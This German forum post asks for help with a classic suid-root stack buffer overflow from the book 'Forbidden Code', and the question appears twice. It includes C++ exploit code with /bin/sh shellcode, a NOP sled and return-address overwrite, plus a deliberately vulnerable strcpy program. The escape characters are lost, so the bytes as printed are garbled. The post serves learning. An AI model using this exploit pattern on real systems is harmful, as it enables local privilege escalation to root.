Hi!
Ich bin gerade dabei "Forbidden Code" durchzuarbeiten und hänge gerade beim ersten BufferOverflow. Für alle die das Buch nicht kennen: Simuliert werden soll ein einfacher BufferOverflow mit einem angreifbaren Programm und einem Exploit. Das angreifbare Programm kopiert einfach den übergebenen Parameter in einen 500er-Char-Array.
Aber hier erstmal ein wenig code:
Also wer das Buch kennt wird erkennen, dass ich hier nicht in C schreibe, sondenr das C++ ist. Das sollte aber hoffentlich nicht das Problem sein. Dennoch ist es recht kompliziertes C++ wie ich finde, darum hier (für alle die es nicht kennen), der grobe Programmablauf:
Hole aktuellen Stack-Pointer und berechne Rücksprungadresse.
Füge in einen 600er-Array NOP-Seld (200 Stück), Shellcode und Rücksprungadresse (bis Ende) ein und schließe den String ab.
Starte das angreifbare Programm mit dem modifizierten Shellcode-Block.
So folgendes nun (OS Ubuntu 9.10): Mein angreifbares Programm ist ein suid-Programm und root ist besitzer der Datei. SSP(Stack smashing protection) von gcc ist für das angreifbare Programm aus, d.h. BufferOverflows werden nicht verhindert bzw. dabei bricht das Programm nicht ab.
Ein einfacher Overflow geht auch ohne Probleme.
Laut "Forbidden Code" müsste ich dann in eine neue Shell kommen, in der ich root bin. Bei mir jedoch passiert gar nichts.Das Programm beendet nach der Ausgabe von ESP etc. als wäre nichts passiert.
Ich habe zum Testen schon ein paar cout's in das angreifbare Programm geschrieben, diese werden auch ohne Probleme angezeigt.Also wird das Programm korrekt gerufen.
Nun komme ich nicht weiter:
Entweder ist der Shellcode nicht korrekt, wobei ich schon einige andere Versionen ausm Netz probiert habe oder Ubuntu blockt noch irgendetwas anderes im Hintergrund. Oder es ist etwas ganz anderes. Das der Code falsch ist, finde ich unwahrscheinlich, da er zum Großteil ja 1zu1 aus dem Buch ist.
Habt ihr ne Idee?
Gruß
Pille
Ich bin gerade dabei "Forbidden Code" durchzuarbeiten und hänge gerade beim ersten BufferOverflow. Für alle die das Buch nicht kennen: Simuliert werden soll ein einfacher BufferOverflow mit einem angreifbaren Programm und einem Exploit. Das angreifbare Programm kopiert einfach den übergebenen Parameter in einen 500er-Char-Array.
Aber hier erstmal ein wenig code:
Code:
//Der Angriffs-Code:
#include <iostream>
#include <string.h>
char shellcode[] =
"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0"
"x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8d"
"x53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73"
"x68";
unsigned long int getStackPointer() {
asm ("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
unsigned int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = getStackPointer();
ret = esp - offset;
std :: cout << "Stack pointer (ESP): " << std :: hex << esp << std :: endl;
std :: cout << "Offset form ESP: " << std :: hex << offset << std :: endl;
std :: cout << "Desired Return Addr: " << std :: hex << ret << std :: endl;
buffer = new char[600];
ptr = buffer;
addr_ptr = (long *) ptr;
for (i = 0; i < 600; i += 4) *(addr_ptr++) = ret;
for (i = 0; i < 200; ++i) buffer[i] = 'x90';
ptr = buffer + 200;
for (i = 0; i < strlen(shellcode); ++i) *(ptr++) = shellcode[i];
buffer[599] = '0';
execl("./angreifbaresProgramm","angreifbaresProgramm", buffer, (char *)0);
delete[] buffer;
return 0;
}
//Mein angreifbares Programm:
#include <string.h>
#include <iostream>
int main(int argc, char *argv[]) {
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
}
Hole aktuellen Stack-Pointer und berechne Rücksprungadresse.
Füge in einen 600er-Array NOP-Seld (200 Stück), Shellcode und Rücksprungadresse (bis Ende) ein und schließe den String ab.
Starte das angreifbare Programm mit dem modifizierten Shellcode-Block.
So folgendes nun (OS Ubuntu 9.10): Mein angreifbares Programm ist ein suid-Programm und root ist besitzer der Datei. SSP(Stack smashing protection) von gcc ist für das angreifbare Programm aus, d.h. BufferOverflows werden nicht verhindert bzw. dabei bricht das Programm nicht ab.
Ein einfacher Overflow geht auch ohne Probleme.
Laut "Forbidden Code" müsste ich dann in eine neue Shell kommen, in der ich root bin. Bei mir jedoch passiert gar nichts.Das Programm beendet nach der Ausgabe von ESP etc. als wäre nichts passiert.
Ich habe zum Testen schon ein paar cout's in das angreifbare Programm geschrieben, diese werden auch ohne Probleme angezeigt.Also wird das Programm korrekt gerufen.
Nun komme ich nicht weiter:
Entweder ist der Shellcode nicht korrekt, wobei ich schon einige andere Versionen ausm Netz probiert habe oder Ubuntu blockt noch irgendetwas anderes im Hintergrund. Oder es ist etwas ganz anderes. Das der Code falsch ist, finde ich unwahrscheinlich, da er zum Großteil ja 1zu1 aus dem Buch ist.
Habt ihr ne Idee?
Gruß
Pille